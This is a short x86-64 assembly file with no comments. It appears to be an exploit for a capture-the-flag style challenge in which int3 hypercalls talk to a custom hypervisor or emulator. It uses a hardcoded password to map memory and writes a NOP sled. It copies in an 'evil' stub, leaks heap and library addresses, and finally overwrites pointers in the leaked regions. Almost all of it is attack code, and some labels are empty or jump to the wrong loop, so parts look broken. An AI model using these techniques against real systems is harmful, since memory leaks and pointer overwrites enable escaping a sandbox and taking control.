mov rax, 8
mov rbx, 0x42420000
lea rcx, [rip+memprot_x86_64]
int3

mov rax, 10
mov rbx, 0x42420000
mov rcx, 0x1000
mov rdx, 7
lea rdi, [rip+password_buffer] 
int3

mov rbx, rax     
mov rax, 2
int3
            
mov rdi, 0x42420000
mov edx, 1
mov ecx, 0x10                        
l:
    mov rax, 0x9090909090909090
    mov qword ptr [rdi+8*rdx], rax
    inc edx
    loop l                    
        
lea rsi, [rip+evil]
mov edx, 6
mov rsp, 0x13380f00            
call memcpy

mov eax,10
mov rbx, 0xdead000
mov rcx, 0x10000
mov rdx, leaked_address          
int3

mov r10, 0xdead000
mov r8, qword ptr [r10+0x10]
lea r9, [r8-0x1a0]

mov rbx, r9
mov eax,2
int3

mov r11, qword ptr [r10+0x60]
sub r11, 0x41f0
mov rbx, r11
mov eax,2
int3
//heap


mov eax,10
mov rbx,0xdeadbeef000
mov rcx, 0xf000
mov rdx, r9
int3

mov rdi, 0xdeadbeef000
lea rsi, [rip+final]
mov rdx, 0x80
call qmemcpy

push r11
mov eax,10
mov rbx,0xdeaddead000
mov rcx, 0xb0000
mov rdx, r11
int3
pop r11

mov r11,0xdeaddead000
mov r12, qword ptr [r11+0x5b00]
sub r12,0x1630

mov rbx, r12
mov eax,2
int3


mov eax,10
mov rbx, 0x12345000
mov rcx, 0xf000
mov rdx, r12
int3


mov rbx, r9
mov eax,2
int3

mov r12, 0x12345000
mov qword ptr [r12+0xd38], r9
mov qword ptr [r11+0x3fc90], -1
jmp $

memprot_x86_64:
    .asciz "memprot_x86_64"
password_buffer:
    .asciz "sup3r_s3cure_sj\\0"
password:
    .asciz "password"

memcpy:
    test    rdx, rdx         
    jz      memcpy_done
memcpy_loop:
    mov     al, [rsi]  
    mov     [rdi], al
    inc     rsi
    inc     rdi
    dec     rdx 
    jnz     memcpy_loop
memcpy_done:
    ret

qmemcpy:
    test    rdx, rdx         
    jz      memcpy_done
qmemcpy_loop:
    mov     rax, [rsi]  
    mov     [rdi], rax
    add     rsi,8
    add     rdi,8
    sub     rdx,8 
    jnz     memcpy_loop
qmemcpy_done:
    ret
        
evil:
mov eax, 5
int3 

final: